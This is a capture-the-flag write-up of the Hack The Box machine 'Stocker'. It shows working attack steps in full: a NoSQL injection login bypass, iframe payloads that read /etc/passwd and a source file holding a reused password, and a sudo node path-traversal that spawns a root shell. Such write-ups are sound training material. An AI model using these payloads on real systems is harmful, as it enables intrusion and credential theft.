Post

Hack The Box Write-Up Stocker

About Stocker

In this post, I’m writing a write-up for the machine Stocker from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Stocker is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Foothold

The port scan with Nmap reveals the two open ports 22/tcp and 80/tcp. After enumerating the virtual hosts, we find the vHost dev.stocker.htb with a login form. After bypassing the authentication with a NoSQL Injection, we got our foothold on this machine.

User

After entering the website, we can add products to our shopping cart. After checkout, a PDF file is created. The backend that creates this file is vulnerable to local file inclusion. Through this vulnerability we can read the index.js file from the Express web server which contains the password for the user angoose. After establishing an SSH session, we can read the `user.txt’ file.

Root

The user angoose has the privileges to execute arbitrary Javascript files as root. With path traversal code execution, we are able to pop a root shell and read the root.txt flag.

Machine Info

Machine Name: Stocker
Difficulty: Easy
Points: 20
Release Date: 14 Jan 2023
IP: 10.10.11.196
Creator: JoshSH

Recon

Portscan with Nmap

As always, we start this machine with a portscan with Nmap.

1
sudo nmap -sC -sV -oA ./nmap/10.129.228.197 10.129.228.197

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:10 EDT
Nmap scan report for 10.129.228.197
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds

The nmap port scan has discovered two open ports. The first port is the default SSH-port 22/tcp. The second port is 80/tcp. On this port, there is a website running with the name stocker.htb. After adding this hostname to our /etc/hosts file, we can start the enumeration process.

Enumeration

Checked the website, non of the URLs working. started subdomein enumeration.

http://stocker.htb http://stocker.htb

After clicking around on the website, there is no button clickable or leading to a webpage. One noteworthy thing we can discover is the name of one employee. He goes by the name of Angoose Garden.

Discovery of Virtual Hosts

Let’s start the discovery of the virtual hosts with ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[root@htb-ivp1omwfli]─[/home/htb-t13nn3s/my_data/machines/stocker]
└──╼ #ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.129.182.102 -H "HOST: FUZZ.stocker.htb" -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.182.102
 :: Wordlist         : FUZZ: /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 86ms]
:: Progress: [4997/4997] :: Job [1/1] :: 528 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

We have found one subdomain dev. After adding this subdomain to our /etc/hosts file, we can check what is running on this domain. We can visit the webpage through http://dev/stocker.htb. We have to login to proceed.

http://dev.stocker.htb http://dev.stocker.htb

After tampering with the HTTP request with can bypass authentication with a NoSQL injection with JSON. By editing the Content-Type in the HTTP header to application/json, we can use the following HTTP request for bypassing the authentication.

Intrusion

NoSQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 54
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AgkwQH6oX9g4cWn0ViiL6fl-gDGECbTHJ.vf9q%2F2Z1aC0GXWD%2FhbwUvHxYjUmtVZjdozvMNVfTCbc
Upgrade-Insecure-Requests: 1

{"username": {"$ne": null}, "password": {"$ne": null}}

http://dev.stocker.htb after bypassing authentication http://dev.stocker.htb after bypassing authentication

This website gives visitors the ability to add some of “the highest quality products” to their cart. After checkout a PDF-file is being created with the products and costs. The contents of the PDF-file is based on the results of th sum of the added products in the cart.

By tampering the HTTP request on the checkout page, we can get Local File Inclusiom (LFI) to read arbitrary files from the machine.The title contents in the request got’s reflected in the created PDF-file. After adding an iframe in this request that requests the contents of the /etc/passwd file, we found the LFI vulnerability.

Local File Inclusion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 226
Connection: close
Cookie: connect.sid=s%3AWGX_9kiyM8Jws51zL5eD7tuR8ag4FFer.iv1pz%2BQ%2B13KF56UEO%2BLkJmGb9p2DHkDSUh2MV3vL08c

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}

Contents of theetc/passwd file Contents of the /etc/passwd file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

We see that there is a user account angoose existing on this machine. This name corresponds with the employee name we found earlier. This user has the privilege of opening an SSH shell on this machine. We have to find the credentials of this username.

The website is running on the Express Framework. Instead of using an index.html or index.php file, this framework uses the file index.js, according to the installation documentation. By default, webserver files are being places in the location /var/www/html or /var/www/<name>. We can read through the LFI vulnerability the contents of the /var/www/dev/index.js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 231
Connection: close
Cookie: connect.sid=s%3AKX1dufiKXtNqN6Yu7yQCE244w1kFECRu.snb3XV1NmqjHhcJG2tJ0kiZ%2B8t%2FHNQXD7e9O2YWg1MQ

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=///var/www/dev/index.js width=1000px height=1000px></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
...SNIP...

This file contains the password IHeardPassphrasesArePrettySecure ssh as angoose

“This file contains the password IHeardPassphrasesArePrettySecure which can be used to establish an SSH session with the user account angoose. Password reuse is very common and poses a serious risk to businesses.

SSH as angoose

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[/home/kali]
└─# ssh [email protected]
[email protected]'s password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

angoose@stocker:~$ cat user.txt 
4abf16cc17f499a0d8f2b7207a2ae595 

We can read the user.txt, and go for privilege escalation.

Privilege Escalation

Enumeration

Let’s check if this account may execute binary as root.

1
2
3
4
5
6
7
8
angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$

Own Stocker

Angoose has the privileges to execute arbitry js files in /usr/local/scripts. We can perform a privilege escalation by popping an root shell through an JavaScript file.

Angoose has the privilege to execute arbitrary js files in /usr/local/scripts. We can perform a privilege escalation by popping a root shell through a JavaScript file. We create the file root.js in the /tmp folder, with the following contents:

1
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})

We can now execute this script as root, and own this box.

1
2
3
4
5
6
7
8
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/root.js 
[sudo] password for angoose: 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
3983ee936a82f74bcce0cf2714adc508

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.